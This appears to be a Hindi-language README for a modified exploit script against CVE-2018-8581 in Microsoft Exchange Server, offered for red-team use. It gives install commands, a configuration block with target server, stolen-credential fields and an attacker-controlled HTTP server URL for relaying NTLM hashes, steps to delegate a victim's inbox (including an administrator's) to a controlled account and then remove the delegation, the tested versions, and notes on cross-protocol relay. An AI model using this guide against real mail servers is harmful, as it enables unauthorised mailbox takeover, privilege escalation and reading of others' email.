
CVE-2018-8581 | Microsoft Exchange Server में विशेषाधिकार वृद्धि भेद्यता
यह एक मेलबॉक्स-स्तरीय लेटरल मूवमेंट और प्रिविलेज एस्केलेशन वल्नरेबिलिटी है।
यह एक सामान्य यूज़र के मेलबॉक्स अकाउंट और पासवर्ड प्राप्त करने के बाद, अन्य उपयोगकर्ताओं (डोमेन एडमिनिस्ट्रेटर सहित) के मेलबॉक्स इनबॉक्स पर डेलिगेशन अधिग्रहण पूरा कर सकता है।
यह EXP स्क्रिप्ट मूल PoC के आधार पर संशोधित एक उन्नत वन-क्लिक स्क्रिप्ट है। यह प्रासंगिक पैरामीटर कॉन्फ़िगर करने के बाद, अपने आप लक्ष्य मेलबॉक्स इनबॉक्स में डेलिगेशन जोड़ने और हटाने के ऑपरेशन करेगी, ताकि सुरक्षा विभागों और रेड टीमों को अधिकृत एंटरप्राइज़ पर एक सिम्युलेटेड अटैक प्रक्रिया पूरी करने में सुविधा हो।
मूल PoC दो स्क्रिप्ट का उपयोग करके इनबॉक्स रूल जोड़ने का ऑपरेशन पूरा करता है, जो ग्राहक सुरक्षा टीमों के वास्तविक कार्य में बहुत उपयोगी नहीं है। इसके अलावा, मूल PoC को मेल के अलावा, लक्ष्य मेलबॉक्स यूज़र के SID की आवश्यकता होती है, लेकिन लेख में बताए गए यूज़र SID प्राप्त करने के तरीके का परीक्षण मैंने Exchange Server 2010 और 2013 संस्करणों पर किया, दोनों में सफलतापूर्वक पुनरुत्पादन नहीं हो सका (2010 में संबंधित ऑपरेशन विकल्प नहीं है, 2013 में अनुमति की कमी के कारण ऑपरेशन नहीं हो सकता)। अंत में मेरा दृष्टिकोण था कि पहले एक रिवर्स डेलिगेशन करके लक्ष्य मेलबॉक्स यूज़र का SID प्राप्त करें और फिर डेलिगेशन हटाएँ।
python-ntlm स्थापित करें
pip install python-ntlm
स्क्रिप्ट के निम्नलिखित कोड में प्रासंगिक पैरामीटर कॉन्फ़िगर करें
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
स्क्रिप्ट चलाएँ, फिर गोजी बेरी की चाय पीते हुए एक मिनट प्रतीक्षा करें
![]()
अब TARGET_EMAIL का इनबॉक्स सफलतापूर्वक CONTROLLED_EMAIL को डेलिगेट कर दिया गया है
OWA या Outlook में लक्ष्य मेलबॉक्स का इनबॉक्स देखें
img2
FLAG को 0 में बदलें, फिर से स्क्रिप्ट चलाएँ, फिर से गोजी बेरी की चाय पीते हुए एक मिनट प्रतीक्षा करें, जिससे पहले जोड़ा गया डेलिगेशन हट जाएगा
img3
अब पुनः एक्सेस करने की अनुमति नहीं है
Python 2.7.14
Exchange Server 2010 (अपेक्षाकृत स्थिर, परीक्षण में अधिकांश Exchange Server 2010 पर सफल)
Exchange Server 2013 (पर्यावरण भिन्नता के कारण विफल हो सकता है)
Exchange Server 2016 (पर्यावरण भिन्नता के कारण विफल हो सकता है)
make_relay_body() फ़ंक्शन के अंदर अधिक EWS SOAP API अनुरोधों को संशोधित किया जा सकता है।
Net-NTLM हैश को अन्य होस्टों पर अटैक करने के लिए रिले करने के प्रयोग में, यह पाया गया कि प्राप्त हैश सभी ExchangeServer के हैं... शायद अगर ExchangeServer पर SMB साइनिंग अक्षम है, तो क्रॉस-प्रोटोकॉल रिले अटैक ExchangeServer पर किया जा सकता है, लेकिन यह स्थिति मूलतः मिलना बहुत मुश्किल है...
स्क्रिप्ट केवल सीखने और आदान-प्रदान के लिए है। कृपया उपयोगकर्ता स्थानीय प्रासंगिक कानूनों का पालन करें। यदि इसका अन्य उपयोग किया जाता है, तो उत्पन्न होने वाली कानूनी जिम्मेदारी लेखक से संबंधित नहीं है। डाउनलोड और उपयोग करने का अर्थ है कि उपयोगकर्ता उपरोक्त दृष्टिकोण से सहमत है।